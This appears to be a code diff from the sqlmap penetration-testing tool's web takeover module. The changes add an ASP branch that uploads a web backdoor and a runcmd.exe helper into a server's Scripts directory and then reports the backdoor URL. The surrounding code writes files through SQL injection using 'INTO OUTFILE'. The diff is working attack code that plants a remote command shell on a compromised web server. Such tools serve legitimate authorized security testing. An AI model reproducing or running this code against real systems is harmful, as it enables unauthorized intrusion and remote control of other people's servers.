2323"""
2424
2525import os
26+ import posixpath
2627import re
2728
2829from extra .cloak .cloak import decloak
@@ -86,8 +87,7 @@ def webFileUpload(self, fileToUpload, destFileName, directory):
8687 return retVal
8788
8889 def __webFileStreamUpload (self , stream , destFileName , directory ):
89- stream .seek (0 ) #rewind
90-
90+ stream .seek (0 ) #rewind
9191 if self .webApi in ("php" , "asp" ):
9292 multipartParams = {
9393 "upload" : "1" ,
@@ -109,7 +109,7 @@ def __webFileStreamUpload(self, stream, destFileName, directory):
109109 return False
110110
111111 def __webFileInject (self , fileContent , fileName , directory ):
112- outFile = normalizePath ("%s/%s" % (directory , fileName ))
112+ outFile = posixpath . normpath ("%s/%s" % (directory , fileName ))
113113 uplQuery = fileContent .replace ("WRITABLE_DIR" , directory .replace ('/' , '\\ \\ ' ) if kb .os == "Windows" else directory )
114114 query = " LIMIT 1 INTO OUTFILE '%s' " % outFile
115115 query += "LINES TERMINATED BY 0x%s --" % hexencode (uplQuery )
@@ -197,7 +197,23 @@ def webInit(self):
197197 infoMsg += "on '%s'" % directory
198198 logger .info (infoMsg )
199199
200- if not self .__webFileStreamUpload (backdoorStream , backdoorName , posixToNtSlashes (directory ) if kb .os == "Windows" else directory ):
200+ if self .webApi == "asp" :
201+ runcmdName = 'runcmd.exe'
202+ runcmdStream = decloakToNamedTemporaryFile (os .path .join (paths .SQLMAP_SHELL_PATH , runcmdName + '_' ), runcmdName )
203+ scriptsDirectory = "Scripts"
204+ backdoorDirectory = "%s..\%s" % (posixToNtSlashes (directory ), scriptsDirectory )
205+ backdoorContent = backdoorContent .replace ("WRITABLE_DIR" , backdoorDirectory )
206+ backdoorStream .file .truncate ()
207+ backdoorStream .read ()
208+ backdoorStream .seek (0 )
209+ backdoorStream .write (backdoorContent )
210+ if self .__webFileStreamUpload (backdoorStream , backdoorName , backdoorDirectory ):
211+ self .__webFileStreamUpload (runcmdStream , runcmdName , backdoorDirectory )
212+ self .webBackdoorUrl = "%s/%s/%s" % (self .webBaseUrl .rstrip ('/' ), scriptsDirectory , backdoorName )
213+ self .webDirectory = directory
214+ else :
215+ continue
216+ elif not self .__webFileStreamUpload (backdoorStream , backdoorName , posixToNtSlashes (directory ) if kb .os == "Windows" else directory ):
201217 warnMsg = "backdoor hasn't been successfully uploaded "
202218 warnMsg += "with uploader probably because of permission "
203219 warnMsg += "issues."
@@ -209,9 +225,9 @@ def webInit(self):
209225 self .__webFileInject (backdoorContent , backdoorName , directory )
210226 else :
211227 continue
212-
213- self . webBackdoorUrl = "%s/%s" % ( self .webBaseUrl , backdoorName )
214- self . webDirectory = directory
228+ self . webBackdoorUrl = "%s/%s" % ( self . webBaseUrl , backdoorName )
229+ self .webDirectory = directory
230+
215231 infoMsg = "the backdoor has probably been successfully "
216232 infoMsg += "uploaded on '%s', go with your browser " % directory
217233 infoMsg += "to '%s' and enjoy it!" % self .webBackdoorUrl
0 commit comments